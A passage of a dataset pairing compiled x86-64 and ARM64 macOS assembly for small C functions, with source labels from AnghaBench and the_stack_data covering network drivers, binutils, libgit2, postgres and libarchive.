Header=BB0_3 Depth=1 ldr w1, [x22] mov x0, x20 bl _tc574_wait_for_completion ldr x8, [x27] add x0, x8, x26 bl _inw subs w19, w19, #1 tbnz w0, #15, LBB0_15 ; %bb.14: ; in Loop: Header=BB0_3 Depth=1 mov x24, x0 and w8, w0, #0xffff b.hi LBB0_3 LBB0_15: mov x0, x19 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .loh AdrpAdd Lloh16, Lloh17 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_11-LBB0_8)>>2 .byte (LBB0_8-LBB0_8)>>2 .byte (LBB0_10-LBB0_8)>>2 .byte (LBB0_8-LBB0_8)>>2 .byte (LBB0_10-LBB0_8)>>2 .byte (LBB0_12-LBB0_8)>>2 ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%s: in rx_packet(), status %4.4x, rx_status %4.4x.\n" .comm _EL3_STATUS,8,3 ; @EL3_STATUS .comm _RxStatus,8,3 ; @RxStatus l_.str.1: ; @.str.1 .asciz " Receiving packet size %d status %4.4x.\n" .comm _RX_FIFO,8,3 ; @RX_FIFO l_.str.2: ; @.str.2 .asciz "%s: couldn't allocate a sk_buff of size %d.\n" .comm _RxDiscard,4,2 ; @RxDiscard .no_dead_strip _el3_rx .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/net/pcmcia/extr_3c574_cs.c_el3_rx.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function link_hash_newfunc _link_hash_newfunc: ## @link_hash_newfunc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdx, %r14 movq %rsi, %rbx testq %rdi, %rdi jne LBB0_2 ## %bb.1: movq %rbx, %rdi movl $24, %esi callq _bfd_hash_allocate movq %rax, %rdi testq %rax, %rax je LBB0_5 LBB0_2: movq %rbx, %rsi movq %r14, %rdx callq __bfd_elf_link_hash_newfunc testq %rax, %rax je LBB0_5 ## %bb.3: movq $0, 16(%rax) movq _GOT_UNKNOWN@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl %ecx, 8(%rax) movq $-1, (%rax) jmp LBB0_6 LBB0_5: xorl %eax, %eax LBB0_6: popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _GOT_UNKNOWN,4,2 ## @GOT_UNKNOWN .no_dead_strip _link_hash_newfunc .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function link_hash_newfunc _link_hash_newfunc: ; @link_hash_newfunc .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x2 mov x20, x1 cbnz x0, LBB0_2 ; %bb.1: mov x0, x20 mov w1, #24 bl _bfd_hash_allocate cbz x0, LBB0_4 LBB0_2: mov x1, x20 mov x2, x19 bl __bfd_elf_link_hash_newfunc cbz x0, LBB0_4 ; %bb.3: str xzr, [x0, #16] Lloh0: adrp x8, _GOT_UNKNOWN@GOTPAGE Lloh1: ldr x8, [x8, _GOT_UNKNOWN@GOTPAGEOFF] Lloh2: ldr w8, [x8] str w8, [x0, #8] mov x8, #-1 str x8, [x0] LBB0_4: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _GOT_UNKNOWN,4,2 ; @GOT_UNKNOWN .no_dead_strip _link_hash_newfunc .subsections_via_symbols
AnghaBench/freebsd/contrib/binutils/bfd/extr_elf32-i386.c_link_hash_newfunc.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _json_object_dotget_object ## -- Begin function json_object_dotget_object .p2align 4, 0x90 _json_object_dotget_object: ## @json_object_dotget_object .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _json_object_dotget_value movl %eax, %edi popq %rbp jmp _json_value_get_object ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _json_object_dotget_object ; -- Begin function json_object_dotget_object .p2align 2 _json_object_dotget_object: ; @json_object_dotget_object .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _json_object_dotget_value ldp x29, x30, [sp], #16 ; 16-byte Folded Reload b _json_value_get_object .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/h2o/deps/mruby-json/src/extr_parson.c_json_object_dotget_object.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str(%rip), %rdi xorl %eax, %eax callq _printf leaq L_.str.1(%rip), %rdi leaq -4(%rbp), %rsi xorl %eax, %eax callq _scanf movl -4(%rbp), %eax xorl %ecx, %ecx cmpl $2, %eax sete %cl incl %ecx cmpl $4, %eax movl $3, %edx cmovnel %ecx, %edx cmpl $5, %eax movl $4, %ecx cmovnel %edx, %ecx cmpl $6, %eax movl $5, %edx cmovnel %ecx, %edx cmpl $7, %eax movl $6, %ecx cmovnel %edx, %ecx cmpl $8, %eax movl $7, %esi cmovnel %ecx, %esi leaq L_.str.2(%rip), %rdi xorl %eax, %eax callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "enter a number" L_.str.1: ## @.str.1 .asciz "%d" L_.str.2: ## @.str.2 .asciz "%d\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _printf sub x8, x29, #4 str x8, [sp] Lloh2: adrp x0, l_.str.1@PAGE Lloh3: add x0, x0, l_.str.1@PAGEOFF bl _scanf ldur w8, [x29, #-4] cmp w8, #2 mov w9, #1 cinc w9, w9, eq mov w10, #3 cmp w8, #4 csel w9, w10, w9, eq mov w10, #4 cmp w8, #5 csel w9, w10, w9, eq mov w10, #5 cmp w8, #6 csel w9, w10, w9, eq mov w10, #6 cmp w8, #7 csel w9, w10, w9, eq mov w10, #7 cmp w8, #8 csel w8, w10, w9, eq str x8, [sp] Lloh4: adrp x0, l_.str.2@PAGE Lloh5: add x0, x0, l_.str.2@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .loh AdrpAdd Lloh4, Lloh5 .loh AdrpAdd Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "enter a number" l_.str.1: ; @.str.1 .asciz "%d" l_.str.2: ; @.str.2 .asciz "%d\n" .subsections_via_symbols
the_stack_data/215767042.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _TIM_SetClockDivision ## -- Begin function TIM_SetClockDivision .p2align 4, 0x90 _TIM_SetClockDivision: ## @TIM_SetClockDivision .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rsi, %r14 movq %rdi, %rbx callq _IS_TIM_LIST4_PERIPH movl %eax, %edi callq _assert_param movq %r14, %rdi callq _IS_TIM_CKD_DIV movl %eax, %edi callq _assert_param movq _TIM_CR1_CKD@GOTPCREL(%rip), %rax movq (%rax), %rax notq %rax andq (%rbx), %rax orq %r14, %rax movq %rax, (%rbx) popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _TIM_CR1_CKD,8,3 ## @TIM_CR1_CKD .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _TIM_SetClockDivision ; -- Begin function TIM_SetClockDivision .p2align 2 _TIM_SetClockDivision: ; @TIM_SetClockDivision .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x1 mov x20, x0 bl _IS_TIM_LIST4_PERIPH bl _assert_param mov x0, x19 bl _IS_TIM_CKD_DIV bl _assert_param Lloh0: adrp x8, _TIM_CR1_CKD@GOTPAGE Lloh1: ldr x8, [x8, _TIM_CR1_CKD@GOTPAGEOFF] Lloh2: ldr x8, [x8] ldr x9, [x20] bic x8, x9, x8 orr x8, x8, x19 str x8, [x20] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _TIM_CR1_CKD,8,3 ; @TIM_CR1_CKD .subsections_via_symbols
AnghaBench/anypixel/firmware/display/ThirdParty/SPL/src/extr_stm32f0xx_tim.c_TIM_SetClockDivision.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test_refs_reflog_drop__can_drop_the_oldest_entry ## -- Begin function test_refs_reflog_drop__can_drop_the_oldest_entry .p2align 4, 0x90 _test_refs_reflog_drop__can_drop_the_oldest_entry: ## @test_refs_reflog_drop__can_drop_the_oldest_entry .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq _entrycount@GOTPCREL(%rip), %r14 xorl %edi, %edi cmpl $3, (%r14) setge %dil callq _cl_assert movq _g_reflog@GOTPCREL(%rip), %r15 movl (%r15), %edi movl (%r14), %esi decl %esi xorl %edx, %edx callq _git_reflog_drop movl %eax, %edi callq _cl_git_pass movl (%r14), %ebx decl %ebx movl (%r15), %edi callq _git_reflog_entrycount movl %ebx, %edi movl %eax, %esi callq _cl_assert_equal_sz movl (%r15), %edi movl (%r14), %esi addl $-2, %esi callq _git_reflog_entry_byindex movq _GIT_OID_HEX_ZERO@GOTPCREL(%rip), %rcx movl (%rcx), %esi movq %rax, %rdi callq _git_oid_streq xorl %edi, %edi testq %rax, %rax setne %dil addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp jmp _cl_assert ## TAILCALL .cfi_endproc ## -- End function .comm _entrycount,4,2 ## @entrycount .comm _g_reflog,4,2 ## @g_reflog .comm _GIT_OID_HEX_ZERO,4,2 ## @GIT_OID_HEX_ZERO .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _test_refs_reflog_drop__can_drop_the_oldest_entry ; -- Begin function test_refs_reflog_drop__can_drop_the_oldest_entry .p2align 2 _test_refs_reflog_drop__can_drop_the_oldest_entry: ; @test_refs_reflog_drop__can_drop_the_oldest_entry .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 Lloh0: adrp x20, _entrycount@GOTPAGE Lloh1: ldr x20, [x20, _entrycount@GOTPAGEOFF] ldr w8, [x20] cmp w8, #2 cset w0, gt bl _cl_assert Lloh2: adrp x21, _g_reflog@GOTPAGE Lloh3: ldr x21, [x21, _g_reflog@GOTPAGEOFF] ldr w0, [x21] ldr w8, [x20] sub w1, w8, #1 mov w2, #0 bl _git_reflog_drop bl _cl_git_pass ldr w8, [x20] sub w19, w8, #1 ldr w0, [x21] bl _git_reflog_entrycount mov x1, x0 mov x0, x19 bl _cl_assert_equal_sz ldr w0, [x21] ldr w8, [x20] sub w1, w8, #2 bl _git_reflog_entry_byindex Lloh4: adrp x8, _GIT_OID_HEX_ZERO@GOTPAGE Lloh5: ldr x8, [x8, _GIT_OID_HEX_ZERO@GOTPAGEOFF] Lloh6: ldr w1, [x8] bl _git_oid_streq cmp x0, #0 cset w0, ne ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _cl_assert .loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _entrycount,4,2 ; @entrycount .comm _g_reflog,4,2 ; @g_reflog .comm _GIT_OID_HEX_ZERO,4,2 ; @GIT_OID_HEX_ZERO .subsections_via_symbols
AnghaBench/libgit2/tests/refs/reflog/extr_drop.c_test_refs_reflog_drop__can_drop_the_oldest_entry.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function hash_corrupted _hash_corrupted: ## @hash_corrupted .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp cmpq $0, 8(%rdi) jne LBB0_1 ## %bb.2: movq _FATAL@GOTPCREL(%rip), %rax jmp LBB0_3 LBB0_1: movq _PANIC@GOTPCREL(%rip), %rax LBB0_3: movl (%rax), %eax movl (%rdi), %edx leaq L_.str(%rip), %rsi movl %eax, %edi popq %rbp jmp _elog ## TAILCALL .cfi_endproc ## -- End function .comm _PANIC,4,2 ## @PANIC .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "hash table \"%s\" corrupted" .comm _FATAL,4,2 ## @FATAL .no_dead_strip _hash_corrupted .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function hash_corrupted _hash_corrupted: ; @hash_corrupted .cfi_startproc ; %bb.0: Lloh0: adrp x8, _FATAL@GOTPAGE Lloh1: ldr x8, [x8, _FATAL@GOTPAGEOFF] ldr x9, [x0, #8] Lloh2: adrp x10, _PANIC@GOTPAGE Lloh3: ldr x10, [x10, _PANIC@GOTPAGEOFF] cmp x9, #0 csel x8, x8, x10, eq ldr w8, [x8] ldr w2, [x0] Lloh4: adrp x1, l_.str@PAGE Lloh5: add x1, x1, l_.str@PAGEOFF mov x0, x8 b _elog .loh AdrpAdd Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _PANIC,4,2 ; @PANIC .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "hash table \"%s\" corrupted" .comm _FATAL,4,2 ; @FATAL .no_dead_strip _hash_corrupted .subsections_via_symbols
AnghaBench/postgres/src/backend/utils/hash/extr_dynahash.c_hash_corrupted.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _init_kirai ## -- Begin function init_kirai .p2align 4, 0x90 _init_kirai: ## @init_kirai .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq _MAX_KT@GOTPCREL(%rip), %r14 cmpq $0, (%r14) je LBB0_3 ## %bb.1: xorl %ebx, %ebx movq _kx@GOTPCREL(%rip), %r13 movq _ky@GOTPCREL(%rip), %r15 movq _DEF_KS@GOTPCREL(%rip), %r12 .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq _kf@GOTPCREL(%rip), %rax movq (%rax), %rax movq $0, (%rax,%rbx,8) movq _DEF_KX@GOTPCREL(%rip), %rax movl (%rax), %eax movq (%r13), %rcx movl %eax, (%rcx,%rbx,4) movq _DEF_KY@GOTPCREL(%rip), %rax movl (%rax), %eax movq (%r15), %rcx movl %eax, (%rcx,%rbx,4) movq (%r12), %rdi addq %rbx, %rdi movq _DEF_SP@GOTPCREL(%rip), %rax movl (%rax), %esi callq _set_sprite_tile movq (%r12), %rdi addq %rbx, %rdi movq (%r13), %rax movl (%rax,%rbx,4), %esi movq (%r15), %rax movl (%rax,%rbx,4), %edx callq _move_sprite incq %rbx cmpq (%r14), %rbx jb LBB0_2 LBB0_3: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _MAX_KT,8,3 ## @MAX_KT .comm _kf,8,3 ## @kf .comm _DEF_KX,4,2 ## @DEF_KX .comm _kx,8,3 ## @kx .comm _DEF_KY,4,2 ## @DEF_KY .comm _ky,8,3 ## @ky .comm _DEF_KS,8,3 ## @DEF_KS .comm _DEF_SP,4,2 ## @DEF_SP .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _init_kirai ; -- Begin function init_kirai .p2align 2 _init_kirai: ; @init_kirai .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 Lloh0: adrp x19, _MAX_KT@GOTPAGE Lloh1: ldr x19, [x19, _MAX_KT@GOTPAGEOFF] ldr x8, [x19] cbz x8, LBB0_3 ; %bb.1: mov x20, #0 Lloh2: adrp x21, _kf@GOTPAGE Lloh3: ldr x21, [x21, _kf@GOTPAGEOFF] Lloh4: adrp x22, _DEF_KX@GOTPAGE Lloh5: ldr x22, [x22, _DEF_KX@GOTPAGEOFF] Lloh6: adrp x23, _kx@GOTPAGE Lloh7: ldr x23, [x23, _kx@GOTPAGEOFF] Lloh8: adrp x24, _DEF_KY@GOTPAGE Lloh9: ldr x24, [x24, _DEF_KY@GOTPAGEOFF] Lloh10: adrp x25, _ky@GOTPAGE Lloh11: ldr x25, [x25, _ky@GOTPAGEOFF] Lloh12: adrp x26, _DEF_KS@GOTPAGE Lloh13: ldr x26, [x26, _DEF_KS@GOTPAGEOFF] Lloh14: adrp x27, _DEF_SP@GOTPAGE Lloh15: ldr x27, [x27, _DEF_SP@GOTPAGEOFF] LBB0_2: ; =>This Inner Loop Header: Depth=1 ldr x8, [x21] str xzr, [x8, x20, lsl #3] ldr w8, [x22] ldr x9, [x23] lsl x28, x20, #2 str w8, [x9, x28] ldr w8, [x24] ldr x9, [x25] str w8, [x9, x28] ldr x8, [x26] add x0, x20, x8 ldr w1, [x27] bl _set_sprite_tile ldr x8, [x26] add x0, x20, x8 ldr x8, [x23] ldr w1, [x8, x28] ldr x8, [x25] ldr w2, [x8, x28] bl _move_sprite add x20, x20, #1 ldr x8, [x19] cmp x20, x8 b.lo LBB0_2 LBB0_3: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .cfi_endproc ; -- End function .comm _MAX_KT,8,3 ; @MAX_KT .comm _kf,8,3 ; @kf .comm _DEF_KX,4,2 ; @DEF_KX .comm _kx,8,3 ; @kx .comm _DEF_KY,4,2 ; @DEF_KY .comm _ky,8,3 ; @ky .comm _DEF_KS,8,3 ; @DEF_KS .comm _DEF_SP,4,2 ; @DEF_SP .subsections_via_symbols
AnghaBench/gb-studio/buildTools/linux-x64/gbdk/examples/gb/dscan/extr_dscan.c_init_kirai.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function esil_mem_lsleq8 _esil_mem_lsleq8: ## @esil_mem_lsleq8 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $64, %esi popq %rbp jmp _esil_mem_lsleq_n ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _esil_mem_lsleq8 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function esil_mem_lsleq8 _esil_mem_lsleq8: ; @esil_mem_lsleq8 .cfi_startproc ; %bb.0: mov w1, #64 b _esil_mem_lsleq_n .cfi_endproc ; -- End function .no_dead_strip _esil_mem_lsleq8 .subsections_via_symbols
AnghaBench/radare2/libr/anal/extr_esil.c_esil_mem_lsleq8.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function uu_encode _uu_encode: ## @uu_encode .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r15 movq %rsi, %rbx movq %rdi, %r14 leal 32(%rdx), %eax testl %r15d, %r15d movzbl %al, %eax movl $96, %r12d cmovel %r12d, %eax movsbl %al, %esi callq _archive_strappend_char cmpq $3, %r15 jb LBB0_2 .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movzbl (%rbx), %eax movl %eax, %ecx shrb $2, %cl addb $32, %cl cmpb $4, %al movzbl %cl, %eax cmovbl %r12d, %eax movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char movzbl (%rbx), %eax movzbl 1(%rbx), %ecx shrb $4, %cl shlb $4, %al orb %cl, %al andb $63, %al leal 32(%rax), %ecx testb %al, %al movzbl %cl, %eax cmovel %r12d, %eax movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char movzbl 1(%rbx), %eax movzbl 2(%rbx), %ecx shrb $6, %cl shlb $2, %al orb %cl, %al andb $63, %al leal 32(%rax), %ecx testb %al, %al movzbl %cl, %eax cmovel %r12d, %eax movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char movzbl 2(%rbx), %eax andb $63, %al leal 32(%rax), %ecx testb %al, %al movzbl %cl, %eax cmovel %r12d, %eax movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char addq $3, %rbx addq $-3, %r15 cmpq $2, %r15 ja LBB0_1 LBB0_2: testq %r15, %r15 je LBB0_7 ## %bb.3: movb (%rbx), %al movl %eax, %ecx shrb $2, %cl addb $32, %cl cmpb $4, %al movzbl %cl, %eax movl $96, %r12d cmovbl %r12d, %eax movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char movb (%rbx), %al shlb $4, %al andb $48, %al cmpq $1, %r15 jne LBB0_5 ## %bb.4: leal 32(%rax), %ecx testb %al, %al movzbl %cl, %eax cmovel %r12d, %eax movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char movb $96, %al jmp LBB0_6 LBB0_5: movb 1(%rbx), %cl shrb $4, %cl orb %al, %cl leal 32(%rcx), %eax testb %cl, %cl movzbl %al, %eax cmovel %r12d, %eax movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char movb 1(%rbx), %al shlb $2, %al andb $60, %al leal 32(%rax), %ecx testb %al, %al movzbl %cl, %eax cmovel %r12d, %eax LBB0_6: movzbl %al, %esi movq %r14, %rdi callq _archive_strappend_char movq %r14, %rdi movl $96, %esi callq _archive_strappend_char LBB0_7: movq %r14, %rdi movl $10, %esi popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp jmp _archive_strappend_char ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _uu_encode .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function uu_encode _uu_encode: ; @uu_encode .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x21, x2 mov x20, x1 mov x19, x0 add w8, w21, #32 mov w22, #96 cmp w21, #0 csel w8, w22, w8, eq sxtb w1, w8 bl _archive_strappend_char cmp x21, #3 b.lo LBB0_2 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldrb w8, [x20] lsr w9, w8, #2 add w9, w9, #32 cmp w8, #4 csel w1, w22, w9, lo mov x0, x19 bl _archive_strappend_char ldrb w8, [x20] ldrb w9, [x20, #1] lsr w9, w9, #4 bfi w9, w8, #4, #2 add w8, w9, #32 cmp w9, #0 csel w1, w22, w8, eq mov x0, x19 bl _archive_strappend_char ldrb w8, [x20, #1] ldrb w9, [x20, #2] lsr w9, w9, #6 bfi w9, w8, #2, #4 add w8, w9, #32 cmp w9, #0 csel w1, w22, w8, eq mov x0, x19 bl _archive_strappend_char ldrb w8, [x20, #2] ands w8, w8, #0x3f add w8, w8, #32 csel w1, w22, w8, eq mov x0, x19 bl _archive_strappend_char add x20, x20, #3 sub x21, x21, #3 cmp x21, #2 b.hi LBB0_1 LBB0_2: cbz x21, LBB0_7 ; %bb.3: ldrb w8, [x20] lsr w9, w8, #2 add w9, w9, #32 mov w22, #96 cmp w8, #4 csel w1, w22, w9, lo mov x0, x19 bl _archive_strappend_char ldrb w8, [x20] ubfiz w8, w8, #4, #2 cmp x21, #1 b.ne LBB0_5 ; %bb.4: add w9, w8, #32 cmp w8, #0 csel w1, w22, w9, eq mov x0, x19 bl _archive_strappend_char b LBB0_6 LBB0_5: ldrb w9, [x20, #1] orr w8, w8, w9, lsr #4 add w9, w8, #32 cmp w8, #0 csel w1, w22, w9, eq mov x0, x19 bl _archive_strappend_char ldrb w8, [x20, #1] mov w9, #60 ands w8, w9, w8, lsl #2 add w8, w8, #32 csel w22, w22, w8, eq LBB0_6: sxtb w1, w22 mov 